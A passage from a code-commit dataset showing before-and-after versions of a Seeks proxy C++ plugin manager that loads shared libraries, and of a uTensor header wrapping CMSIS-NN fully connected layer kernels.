mit++;\n\t }\n\t\/\/debug\n\t\n\treturn 1;\n }\n \n int plugin_manager::close_all_plugins()\n {\n\t\/\/ destroy all plugins that have been created.\n\tstd::vector<plugin*>::iterator vit = plugin_manager::_plugins.begin();\n\twhile(vit!=plugin_manager::_plugins.end())\n\t {\n\t delete *vit;\n\t ++vit;\n\t }\n\tplugin_manager::_plugins.clear();\n\t\n\t\/\/ close all the opened dynamic libs.\n\tstd::list<void*>::iterator lit = plugin_manager::_dl_list.begin();\n\twhile(lit!=plugin_manager::_dl_list.end())\n\t {\n\t dlclose((*lit));\n\t ++lit;\n\t }\n\t\n\treturn 1;\n }\n\n int plugin_manager::instanciate_plugins()\n {\n\tstd::map<std::string,maker_ptr*,std::less<std::string> >::const_iterator mit\n\t = plugin_manager::_factory.begin();\n\twhile(mit!=plugin_manager::_factory.end())\n\t {\n\t plugin *p = (*mit).second(); \/\/ call to a maker function.\n\t \n\t \/\/ register the plugin object and its functions, if activated.\n\t if (seeks_proxy::_config->is_plugin_activated(p->get_name_cstr()))\n\t\t {\n\t\t plugin_manager::register_plugin(p);\n\t\t \n\t\t \/\/ register the plugin elements.\n\t\t if (p->_interceptor_plugin)\n\t\t plugin_manager::_ref_interceptor_plugins.push_back(p->_interceptor_plugin);\n\t\t if (p->_action_plugin)\n\t\t plugin_manager::_ref_action_plugins.push_back(p->_action_plugin);\n\t\t if (p->_filter_plugin)\n\t\t plugin_manager::_ref_filter_plugins.push_back(p->_filter_plugin);\n\t\t \n\t\t \/\/ run start() on plugin.\n\t\t p->start();\n\t\t }\n\t\t \n\t ++mit;\n\t }\n\treturn 0;\n }\n\n \/\/TODO: deinstanciate plugin = deregister + stop().\n \n void plugin_manager::register_plugin(plugin *p)\n {\n\tplugin_manager::_plugins.push_back(p);\n\t\n\terrlog::log_error(LOG_LEVEL_INFO,\"Registering plugin %s, and %d CGI dispatchers\",\n\t\t\t p->get_name_cstr(), p->_cgi_dispatchers.size());\n\t\n\tstd::vector<cgi_dispatcher*>::const_iterator vit = p->_cgi_dispatchers.begin();\n\twhile(vit != p->_cgi_dispatchers.end())\n\t {\n\t cgi_dispatcher *cgid = (*vit);\n\t \n\t hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>::iterator hit;\n\t if ((hit = plugin_manager::_cgi_dispatchers.find(cgid->_name)) != plugin_manager::_cgi_dispatchers.end())\n\t {\n\t\t errlog::log_error(LOG_LEVEL_CGI, \"CGI function %s of plugin %s, has already been registered by another plugin.\",\n\t\t\t\t cgid->_name, p->get_name_cstr());\n\t }\n\t else\n\t {\t\n\t\t errlog::log_error(LOG_LEVEL_INFO, \"registering CGI dispatcher %s\", cgid->_name);\n\t\t \n\t\t plugin_manager::_cgi_dispatchers.insert(std::pair<const char*,cgi_dispatcher*>(cgid->_name,\n\t\t\t\t\t\t\t\t\t\t\t\t cgid));\n\t }\n\t \t\t \n\t ++vit;\n\t }\n }\n \n cgi_dispatcher* plugin_manager::find_plugin_cgi_dispatcher(const char *path)\n {\n\thash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>::const_iterator hit;\n\tif((hit = plugin_manager::_cgi_dispatchers.find(path)) != plugin_manager::_cgi_dispatchers.end())\n\t return (*hit).second;\n\telse \n\t {\n\t errlog::log_error(LOG_LEVEL_ERROR, \"Can't find any plugin dispatcher in %s\", path);\n\t return NULL;\n\t }\n }\n \n void plugin_manager::get_url_plugins(client_state *csp, http_request *http)\n {\n\tstd::vector<interceptor_plugin*>::const_iterator lit1 \n\t = plugin_manager::_ref_interceptor_plugins.begin();\n\twhile(lit1!=plugin_manager::_ref_interceptor_plugins.end())\n\t {\n\t interceptor_plugin *ip = (*lit1);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_interceptor_plugin(ip);\n\t ++lit1;\n\t }\n\t\n\tstd::vector<action_plugin*>::const_iterator lit2\n\t = plugin_manager::_ref_action_plugins.begin();\n\twhile(lit2!=plugin_manager::_ref_action_plugins.end())\n\t {\n\t action_plugin *ip = (*lit2);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_action_plugin(ip);\n\t ++lit2;\n\t }\n\t\n\tstd::vector<filter_plugin*>::const_iterator lit3\n\t = plugin_manager::_ref_filter_plugins.begin();\n\twhile(lit3!=plugin_manager::_ref_filter_plugins.end())\n\t {\n\t filter_plugin *ip = (*lit3);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_filter_plugin(ip);\n\t ++lit3;\n\t }\n\n\t\/\/ debug\n\t\/* std::cout << \"[Debug]:plugin_manager::get_url_plugin: interceptor plugins: \" \n\t << csp->_interceptor_plugins.size() << std::endl; *\/\n\t\/\/debug\n }\n \n plugin* plugin_manager::get_plugin(const std::string &name)\n {\n\tstd::vector<plugin*>::const_iterator vit = plugin_manager::_plugins.begin();\n\twhile(vit!=plugin_manager::_plugins.end())\n\t {\n\t if ((*vit)->get_name() == name)\n\t return (*vit);\n\t ++vit;\n\t }\n\treturn NULL;\n }\n \n} \/* end of namespace. *\/\n<commit_msg>plugin loading failure is no more a fatal error<commit_after>\/**\n * The Seeks proxy and plugin framework are part of the SEEKS project.\n * Copyright (C) 2009 Emmanuel Benazera, juban@free.fr\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"plugin_manager.h\"\n\n#include \"seeks_proxy.h\"\n#include \"proxy_configuration.h\"\n#include \"errlog.h\"\n\n#include \"plugin.h\"\n#include \"interceptor_plugin.h\"\n#include \"action_plugin.h\"\n#include \"filter_plugin.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <dlfcn.h> \/\/ linux, TODO: windows.\n\n#include <list>\n#include <iostream>\n\n#include <assert.h>\n\nusing sp::proxy_configuration;\n\nnamespace sp\n{\n \/\/ variables.\n std::vector<plugin*> plugin_manager::_plugins = std::vector<plugin*>();\n std::vector<interceptor_plugin*> plugin_manager::_ref_interceptor_plugins \n = std::vector<interceptor_plugin*>();\n std::vector<action_plugin*> plugin_manager::_ref_action_plugins\n = std::vector<action_plugin*>();\n std::vector<filter_plugin*> plugin_manager::_ref_filter_plugins\n = std::vector<filter_plugin*>();\n\n hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr> plugin_manager::_cgi_dispatchers\n = hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>();\n \n std::string plugin_manager::_plugin_repository = \"\";\n \n std::map<std::string,maker_ptr*,std::less<std::string> > plugin_manager::_factory\n = std::map<std::string,maker_ptr*,std::less<std::string> >();\n \n std::list<void*> plugin_manager::_dl_list = std::list<void*>();\n \n std::map<std::string,configuration_spec*,std::less<std::string> > plugin_manager::_configurations\n = std::map<std::string,configuration_spec*,std::less<std::string> >();\n \n std::string plugin_manager::_config_html_template = \"templates\/pm_config.html\";\n \n int plugin_manager::load_all_plugins()\n {\n\t\/**\n\t * Defaults the plugin repository to the base directory, only if the repository has not been set \n\t * through the command line, or in the configuration file, in that order.\n\t *\/\n\tif (plugin_manager::_plugin_repository.empty() && seeks_proxy::_config->_plugindir)\n\t {\n\t plugin_manager::_plugin_repository = std::string(seeks_proxy::_config->_plugindir);\n\t }\n\telse if (plugin_manager::_plugin_repository.empty())\n\t {\n\t \/\/ basedir.\n\t assert(seeks_proxy::_basedir);\n\t plugin_manager::_plugin_repository = std::string(seeks_proxy::_basedir)\n#ifdef unix\n\t + \"\/plugins\/\"\n#endif\n\t ;\n#if defined(_WIN32)\n\t + \"\\plugins\\\\\";\n#endif\t\n\t }\n\t\n\tunsigned int BUF_SIZE = 1024;\n\t\n\t\/\/ TODO: win32...\n\t\n\tstd::string command_str = \"find \" + plugin_manager::_plugin_repository \n#if defined(ON_OPENBSD)\n\t + \" -name *.so*\";\n#elsif defined (ON_OSX)\n\t+ \" -name *plugin.dylib\";\n#else\n\t+ \" -name *.so\";\n#endif\n\tFILE *dl = popen(command_str.c_str(), \"r\"); \/\/ reading directory.\n\tif (!dl)\n\t {\n\t perror(\"popen\");\n\t exit(-1);\n\t }\n\t\n\tvoid *dlib;\n\tchar name[1024];\n\tchar in_buf[BUF_SIZE]; \/\/ input buffer for lib names.\n\twhile(fgets(in_buf, BUF_SIZE, dl))\n\t {\n\t char *ws = strpbrk(in_buf, \" \\t\\n\"); \/\/ remove spaces.\n\t if (ws) *ws = '\\0';\n\t \n\t sprintf(name, \"%s\", in_buf); \/\/ append '.\/' to lib name.\n\t dlib = dlopen(name, RTLD_NOW); \/\/ NOW imposes resolving all symbols\n\t \/\/ required for auto-registration.\n\t if (dlib == NULL)\n\t {\n\t\t errlog::log_error(LOG_LEVEL_ERROR, \"%s\", dlerror());\n\t\t \/\/exit(-1);\n\t }\n\t \n\t plugin_manager::_dl_list.insert(plugin_manager::_dl_list.end(),dlib); \/\/ add lib handle to the list.\n\t \n#if defined(ON_OPENBSD) || defined(ON_OSX)\n\t maker_ptr *pl_fct = (maker_ptr*)dlsym(dlib,\"maker\");\n\t if (!pl_fct)\n\t continue;\n\t \n\t plugin *pl = (*pl_fct)();\n\t if (pl)\n\t plugin_manager::_factory[pl->get_name()] = pl_fct;\n#endif\t \n\t }\n\t\n\tpclose(dl);\n\t\n\t\/\/debug\n\tstd::map<std::string,maker_ptr*,std::less<std::string> >::const_iterator mit \n\t = plugin_manager::_factory.begin();\n\twhile(mit!=plugin_manager::_factory.end())\n\t {\n\t errlog::log_error(LOG_LEVEL_INFO,\"loaded plugin \\t%s\", (*mit).first.c_str());\n\t mit++;\n\t }\n\t\/\/debug\n\t\n\treturn 1;\n }\n \n int plugin_manager::close_all_plugins()\n {\n\t\/\/ destroy all plugins that have been created.\n\tstd::vector<plugin*>::iterator vit = plugin_manager::_plugins.begin();\n\twhile(vit!=plugin_manager::_plugins.end())\n\t {\n\t delete *vit;\n\t ++vit;\n\t }\n\tplugin_manager::_plugins.clear();\n\t\n\t\/\/ close all the opened dynamic libs.\n\tstd::list<void*>::iterator lit = plugin_manager::_dl_list.begin();\n\twhile(lit!=plugin_manager::_dl_list.end())\n\t {\n\t dlclose((*lit));\n\t ++lit;\n\t }\n\t\n\treturn 1;\n }\n\n int plugin_manager::instanciate_plugins()\n {\n\tstd::map<std::string,maker_ptr*,std::less<std::string> >::const_iterator mit\n\t = plugin_manager::_factory.begin();\n\twhile(mit!=plugin_manager::_factory.end())\n\t {\n\t plugin *p = (*mit).second(); \/\/ call to a maker function.\n\t \n\t \/\/ register the plugin object and its functions, if activated.\n\t if (seeks_proxy::_config->is_plugin_activated(p->get_name_cstr()))\n\t\t {\n\t\t plugin_manager::register_plugin(p);\n\t\t \n\t\t \/\/ register the plugin elements.\n\t\t if (p->_interceptor_plugin)\n\t\t plugin_manager::_ref_interceptor_plugins.push_back(p->_interceptor_plugin);\n\t\t if (p->_action_plugin)\n\t\t plugin_manager::_ref_action_plugins.push_back(p->_action_plugin);\n\t\t if (p->_filter_plugin)\n\t\t plugin_manager::_ref_filter_plugins.push_back(p->_filter_plugin);\n\t\t \n\t\t \/\/ run start() on plugin.\n\t\t p->start();\n\t\t }\n\t\t \n\t ++mit;\n\t }\n\treturn 0;\n }\n\n \/\/TODO: deinstanciate plugin = deregister + stop().\n \n void plugin_manager::register_plugin(plugin *p)\n {\n\tplugin_manager::_plugins.push_back(p);\n\t\n\terrlog::log_error(LOG_LEVEL_INFO,\"Registering plugin %s, and %d CGI dispatchers\",\n\t\t\t p->get_name_cstr(), p->_cgi_dispatchers.size());\n\t\n\tstd::vector<cgi_dispatcher*>::const_iterator vit = p->_cgi_dispatchers.begin();\n\twhile(vit != p->_cgi_dispatchers.end())\n\t {\n\t cgi_dispatcher *cgid = (*vit);\n\t \n\t hash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>::iterator hit;\n\t if ((hit = plugin_manager::_cgi_dispatchers.find(cgid->_name)) != plugin_manager::_cgi_dispatchers.end())\n\t {\n\t\t errlog::log_error(LOG_LEVEL_CGI, \"CGI function %s of plugin %s, has already been registered by another plugin.\",\n\t\t\t\t cgid->_name, p->get_name_cstr());\n\t }\n\t else\n\t {\t\n\t\t errlog::log_error(LOG_LEVEL_INFO, \"registering CGI dispatcher %s\", cgid->_name);\n\t\t \n\t\t plugin_manager::_cgi_dispatchers.insert(std::pair<const char*,cgi_dispatcher*>(cgid->_name,\n\t\t\t\t\t\t\t\t\t\t\t\t cgid));\n\t }\n\t \t\t \n\t ++vit;\n\t }\n }\n \n cgi_dispatcher* plugin_manager::find_plugin_cgi_dispatcher(const char *path)\n {\n\thash_map<const char*,cgi_dispatcher*,hash<const char*>,eqstr>::const_iterator hit;\n\tif((hit = plugin_manager::_cgi_dispatchers.find(path)) != plugin_manager::_cgi_dispatchers.end())\n\t return (*hit).second;\n\telse \n\t {\n\t errlog::log_error(LOG_LEVEL_ERROR, \"Can't find any plugin dispatcher in %s\", path);\n\t return NULL;\n\t }\n }\n \n void plugin_manager::get_url_plugins(client_state *csp, http_request *http)\n {\n\tstd::vector<interceptor_plugin*>::const_iterator lit1 \n\t = plugin_manager::_ref_interceptor_plugins.begin();\n\twhile(lit1!=plugin_manager::_ref_interceptor_plugins.end())\n\t {\n\t interceptor_plugin *ip = (*lit1);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_interceptor_plugin(ip);\n\t ++lit1;\n\t }\n\t\n\tstd::vector<action_plugin*>::const_iterator lit2\n\t = plugin_manager::_ref_action_plugins.begin();\n\twhile(lit2!=plugin_manager::_ref_action_plugins.end())\n\t {\n\t action_plugin *ip = (*lit2);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_action_plugin(ip);\n\t ++lit2;\n\t }\n\t\n\tstd::vector<filter_plugin*>::const_iterator lit3\n\t = plugin_manager::_ref_filter_plugins.begin();\n\twhile(lit3!=plugin_manager::_ref_filter_plugins.end())\n\t {\n\t filter_plugin *ip = (*lit3);\n#ifdef PLUGIN_DEBUG\n\t ip->reload();\n#endif\n\t if (ip->match_url(http))\n\t csp->add_filter_plugin(ip);\n\t ++lit3;\n\t }\n\n\t\/\/ debug\n\t\/* std::cout << \"[Debug]:plugin_manager::get_url_plugin: interceptor plugins: \" \n\t << csp->_interceptor_plugins.size() << std::endl; *\/\n\t\/\/debug\n }\n \n plugin* plugin_manager::get_plugin(const std::string &name)\n {\n\tstd::vector<plugin*>::const_iterator vit = plugin_manager::_plugins.begin();\n\twhile(vit!=plugin_manager::_plugins.end())\n\t {\n\t if ((*vit)->get_name() == name)\n\t return (*vit);\n\t ++vit;\n\t }\n\treturn NULL;\n }\n \n} \/* end of namespace. *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef UTENSOR_FULLY_CONNECTED_OPS\n#define UTENSOR_FULLY_CONNECTED_OPS\n#include \"uTensor\/core\/tensor.hpp\"\n#include \"uTensor\/core\/uTensorBase.hpp\"\n#include \"arm_math.h\"\n#include \"arm_nnfunctions.h\"\n\n\/***\n * Here we have two types of kernel functions. The basic function implements the function using regular GEMV approach. The opt functions operates with weights in interleaved formats.\n *\n * http:\/\/www.keil.com\/pack\/doc\/CMSIS\/NN\/html\/group__FC.html#gae3857bb6375692e81dde8cbd70adec08\n *\/\n\n\/**\n * @param [in] iV input vector\n * @param [in] mW matrix weights\n * @param [in] b bias\n * @param [in] scratch scrath computation space\n * @param [out] pOut output\n *\/\ntemplate<typename T1, typename T2, typename TOut>\nvoid FullyConnectedLayerCmsis(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n T1 byteme1, T2 byteme2, TOut byteme3)\n{\n \/\/Throw error if this gets called\n}\n\ntemplate<>\nvoid FullyConnectedLayerCmsis<q7_t, q7_t, q7_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q7_t byteme1, q7_t byteme2, q7_t byteme3)\n{\n const q7_t* iV_data = iV->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* mW_data = mW->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* bias_data = b->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q7_t* pOut_data = pOut->write<q7_t>(0, sizeof(q7_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_q7(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \n\n \/\/Error checking\n}\ntemplate<>\nvoid FullyConnectedLayerCmsis<q15_t, q15_t, q15_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q15_t byteme1, q15_t byteme2, q15_t byteme3)\n{\n const q15_t* iV_data = iV->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q15_t* mW_data = mW->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q15_t* bias_data = b->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q15_t* pOut_data = pOut->write<q15_t>(0, sizeof(q15_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_q15(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \/\/Error checking\n}\n\ntemplate<>\nvoid FullyConnectedLayerCmsis<q15_t, q7_t, q7_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q15_t byteme1, q7_t byteme2, q7_t byteme3)\n{\n const q15_t* iV_data = iV->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q7_t* mW_data = mW->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* bias_data = b->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q15_t* pOut_data = pOut->write<q15_t>(0, sizeof(q15_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_mat_q7_vec_q15(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \/\/Error checking\n}\n\n\/***\n * Here we have two types of kernel functions. The basic function implements the function using regular GEMV approach. The opt functions operates with weights in interleaved formats.\n *\n * http:\/\/www.keil.com\/pack\/doc\/CMSIS\/NN\/html\/group__FC.html#gae3857bb6375692e81dde8cbd70adec08\n *\/\n\n\/**\n * @param [in] iV input vector\n * @param [in] mW matrix weights\n * @param [in] b bias\n * @param [in] scratch scrath computation space\n * @param [out] pOut output\n *\/\ntemplate<typename T1, typename T2, typename TOut>\nvoid FullyConnectedLayerOptCmsis(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n T1 byteme1, T2 byteme2, TOut byteme3)\n{\n \/\/Throw error if this gets called\n}\n\ntemplate<>\nvoid FullyConnectedLayerOptCmsis<q7_t, q7_t, q7_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q7_t byteme1, q7_t byteme2, q7_t byteme3)\n{\n const q7_t* iV_data = iV->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* mW_data = mW->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* bias_data = b->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q7_t* pOut_data = pOut->write<q7_t>(0, sizeof(q7_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_q7_opt(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \/\/Error checking\n}\ntemplate<>\nvoid FullyConnectedLayerOptCmsis<q15_t, q15_t, q15_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q15_t byteme1, q15_t byteme2, q15_t byteme3)\n{\n const q15_t* iV_data = iV->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q15_t* mW_data = mW->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q15_t* bias_data = b->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q15_t* pOut_data = pOut->write<q15_t>(0, sizeof(q15_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_q15_opt(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \/\/Error checking\n}\n\ntemplate<>\nvoid FullyConnectedLayerOptCmsis<q15_t, q7_t, q7_t>(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n q15_t byteme1, q7_t byteme2, q7_t byteme3)\n{\n const q15_t* iV_data = iV->read<q15_t>(0, sizeof(q15_t)); \/\/Read one byte\n const q7_t* mW_data = mW->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const q7_t* bias_data = b->read<q7_t>(0, sizeof(q7_t)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n q15_t* pOut_data = pOut->write<q15_t>(0, sizeof(q15_t));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n arm_fully_connected_mat_q7_vec_q15_opt(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, scratch_data);\n \/\/Error checking\n}\n\n\ntemplate <class T1, class T2, class TOut>\nclass FullyConnectedLayerCmsisOp : public Operator {\n public:\n FullyConnectedLayerCmsisOp() {\n n_inputs = 6;\n n_outputs = 1;\n }\n virtual void compute() override {\n T1 x;\n T2 y;\n TOut byteme;\n FullyConnectedLayerCmsis(inputs[0], inputs[1], inputs[2], inputs[3],\n inputs[4], outputs[0], inputs[5], x, y, byteme);\n }\n};\n\n\ntemplate <class T1, class T2, class TOut>\nclass FullyConnectedLayerOptCmsisOp : public Operator {\n public:\n FullyConnectedLayerOptCmsisOp() {\n n_inputs = 6;\n n_outputs = 1;\n }\n virtual void compute() override {\n T1 x;\n T2 y;\n TOut byteme;\n FullyConnectedLayerOptCmsis<T1, T2, TOut>(inputs[0], inputs[1], inputs[2], inputs[3],\n inputs[4], outputs[0], inputs[5], x, y, byteme);\n }\n};\n\n\n#endif \/*UTENSOR_FULLY_CONNECTED_OPS*\/\n<commit_msg>Greatly simplify cmsis interface<commit_after>#ifndef UTENSOR_FULLY_CONNECTED_OPS\n#define UTENSOR_FULLY_CONNECTED_OPS\n#include \"uTensor\/core\/tensor.hpp\"\n#include \"uTensor\/core\/uTensorBase.hpp\"\n#include \"arm_math.h\"\n#include \"arm_nnfunctions.h\"\n\n\/***\n * Here we have two types of kernel functions. The basic function implements the function using regular GEMV approach. The opt functions operates with weights in interleaved formats.\n *\n * http:\/\/www.keil.com\/pack\/doc\/CMSIS\/NN\/html\/group__FC.html#gae3857bb6375692e81dde8cbd70adec08\n *\/\n\ntemplate<typename T1, typename T2, typename T3>\nvoid cmsis_fc_selector(const T1* iV, const T2* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const T3* bias, \n T1* pOut, q15_t* scratch_data);\ntemplate<>\nvoid cmsis_fc_selector<q7_t, q7_t, q7_t>(const q7_t* iV, const q7_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q7_t* bias, \n q7_t* pOut, q15_t* scratch_data){\n arm_fully_connected_q7(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\ntemplate<>\nvoid cmsis_fc_selector<q15_t, q15_t, q15_t>(const q15_t* iV, const q15_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q15_t* bias, \n q15_t* pOut, q15_t* scratch_data){\n arm_fully_connected_q15(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\ntemplate<>\nvoid cmsis_fc_selector<q15_t, q7_t, q7_t>(const q15_t* iV, const q7_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q7_t* bias, \n q15_t* pOut, q15_t* scratch_data){\n arm_fully_connected_mat_q7_vec_q15(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\ntemplate<typename T1, typename T2, typename T3>\nvoid cmsis_fc_selector_opt(const T1* iV, const T2* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const T3* bias, \n T1* pOut, q15_t* scratch_data);\ntemplate<>\nvoid cmsis_fc_selector_opt<q7_t, q7_t, q7_t>(const q7_t* iV, const q7_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q7_t* bias, \n q7_t* pOut, q15_t* scratch_data){\n arm_fully_connected_q7_opt(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\ntemplate<>\nvoid cmsis_fc_selector_opt<q15_t, q15_t, q15_t>(const q15_t* iV, const q15_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q15_t* bias, \n q15_t* pOut, q15_t* scratch_data){\n arm_fully_connected_q15_opt(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\ntemplate<>\nvoid cmsis_fc_selector_opt<q15_t, q7_t, q7_t>(const q15_t* iV, const q7_t* mW, const uint16_t dim_vec, const uint16_t num_of_rows,\n const uint16_t bias_shift, const uint16_t out_shift, const q7_t* bias, \n q15_t* pOut, q15_t* scratch_data){\n arm_fully_connected_mat_q7_vec_q15_opt(iV, mW, dim_vec, num_of_rows, \n bias_shift, out_shift, bias, pOut, scratch_data);\n}\n\n\/**\n * @param [in] iV input vector\n * @param [in] mW matrix weights\n * @param [in] b bias\n * @param [in] scratch scrath computation space\n * @param [out] pOut output\n *\/\ntemplate<typename T1, typename T2, typename T3>\nvoid FullyConnectedLayerCmsis(S_TENSOR iV, S_TENSOR mW, S_TENSOR b,\n S_TENSOR bShift, S_TENSOR oShift,\n S_TENSOR pOut, S_TENSOR scratch,\n T1 byteme1, T2 byteme2, T3 byteme3)\n{\n const T1* iV_data = iV->read<T1>(0, sizeof(T1)); \/\/Read one byte\n const T2* mW_data = mW->read<T2>(0, sizeof(T2)); \/\/Read one byte\n const T3* bias_data = b->read<T3>(0, sizeof(T3)); \/\/Read one byte\n const uint16_t dim_vec = iV->getShape()[0];\n const uint16_t num_of_rows = mW->getShape()[0];\n const uint16_t bias_shift = *(bShift->read<uint16_t>(0,0));\n const uint16_t out_shift = *(oShift->read<uint16_t>(0,0));\n pOut->resize(b->getShape());\n T1* pOut_data = pOut->write<T1>(0, sizeof(T1));\n q15_t* scratch_data = scratch->write<q15_t>(0, sizeof(q15_t));\n\n cmsis_fc_selector(iV_data, mW_data, dim_vec, num_of_rows, \n bias_shift, out_shift, bias_data, pOut_data, 